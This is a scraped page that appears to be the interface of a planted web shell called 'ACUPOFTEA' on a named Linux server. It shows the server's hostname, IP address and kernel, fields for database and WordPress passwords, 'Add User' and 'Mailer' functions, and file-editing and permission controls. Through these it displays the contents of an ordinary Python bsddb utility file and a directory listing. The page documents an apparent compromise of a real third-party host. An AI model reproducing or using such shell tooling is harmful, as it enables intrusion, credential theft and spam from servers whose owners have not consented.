System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
bsddb
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
dbutils.py
#------------------------------------------------------------------------ # # Copyright (C) 2000 Autonomous Zone Industries # # License: This is free software. You may use this software for any # purpose including modification/redistribution, so long as # this header remains intact and that you do not claim any # rights of ownership or authorship of this software. This # software has been tested, but no warranty is expressed or # implied. # # Author: Gregory P. Smith <greg@krypto.org> # # Note: I don't know how useful this is in reality since when a # DBLockDeadlockError happens the current transaction is supposed to be # aborted. If it doesn't then when the operation is attempted again # the deadlock is still happening... # --Robin # #------------------------------------------------------------------------ # # import the time.sleep function in a namespace safe way to allow # "from bsddb.dbutils import *" # from time import sleep as _sleep import sys absolute_import = (sys.version_info[0] >= 3) if absolute_import : # Because this syntaxis is not valid before Python 2.5 exec("from . import db") else : import db # always sleep at least N seconds between retrys _deadlock_MinSleepTime = 1.0/128 # never sleep more than N seconds between retrys _deadlock_MaxSleepTime = 3.14159 # Assign a file object to this for a "sleeping" message to be written to it # each retry _deadlock_VerboseFile = None def DeadlockWrap(function, *_args, **_kwargs): """DeadlockWrap(function, *_args, **_kwargs) - automatically retries function in case of a database deadlock. This is a function intended to be used to wrap database calls such that they perform retrys with exponentially backing off sleeps in between when a DBLockDeadlockError exception is raised. A 'max_retries' parameter may optionally be passed to prevent it from retrying forever (in which case the exception will be reraised). d = DB(...) d.open(...) DeadlockWrap(d.put, "foo", data="bar") # set key "foo" to "bar" """ sleeptime = _deadlock_MinSleepTime max_retries = _kwargs.get('max_retries', -1) if 'max_retries' in _kwargs: del _kwargs['max_retries'] while True: try: return function(*_args, **_kwargs) except db.DBLockDeadlockError: if _deadlock_VerboseFile: _deadlock_VerboseFile.write( 'dbutils.DeadlockWrap: sleeping %1.3f\n' % sleeptime) _sleep(sleeptime) # exponential backoff in the sleep time sleeptime *= 2 if sleeptime > _deadlock_MaxSleepTime: sleeptime = _deadlock_MaxSleepTime max_retries -= 1 if max_retries == -1: raise #------------------------------------------------------------------------
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
__init__.py
text/x-python
15.61 KB
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
12.16 KB
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
12.16 KB
-rw-r--r--
2024-04-10 04:58:46
db.py
text/plain
2.67 KB
-rw-r--r--
2024-04-10 04:58:35
db.pyc
application/octet-stream
592 B
-rw-r--r--
2024-04-10 04:58:46
db.pyo
application/octet-stream
592 B
-rw-r--r--
2024-04-10 04:58:46
dbobj.py
text/x-python
11.07 KB
-rw-r--r--
2024-04-10 04:58:35
dbobj.pyc
application/octet-stream
18.38 KB
-rw-r--r--
2024-04-10 04:58:46
dbobj.pyo
application/octet-stream
18.38 KB
-rw-r--r--
2024-04-10 04:58:46
dbrecio.py
text/x-python
5.18 KB
-rw-r--r--
2024-04-10 04:58:35
dbrecio.pyc
application/octet-stream
5.18 KB
-rw-r--r--
2024-04-10 04:58:46
dbrecio.pyo
application/octet-stream
5.18 KB
-rw-r--r--
2024-04-10 04:58:46
dbshelve.py
text/x-python
11.29 KB
-rw-r--r--
2024-04-10 04:58:35
dbshelve.pyc
application/octet-stream
12.72 KB
-rw-r--r--
2024-04-10 04:58:46
dbshelve.pyo
application/octet-stream
12.72 KB
-rw-r--r--
2024-04-10 04:58:46
dbtables.py
text/x-python
30.14 KB
-rw-r--r--
2024-04-10 04:58:35
dbtables.pyc
application/octet-stream
23.96 KB
-rw-r--r--
2024-04-10 04:58:46
dbtables.pyo
application/octet-stream
23.82 KB
-rw-r--r--
2024-04-10 04:58:43
dbutils.py
text/x-python
2.89 KB
-rw-r--r--
2024-04-10 04:58:35
dbutils.pyc
application/octet-stream
1.59 KB
-rw-r--r--
2024-04-10 04:58:46
dbutils.pyo
application/octet-stream
1.59 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com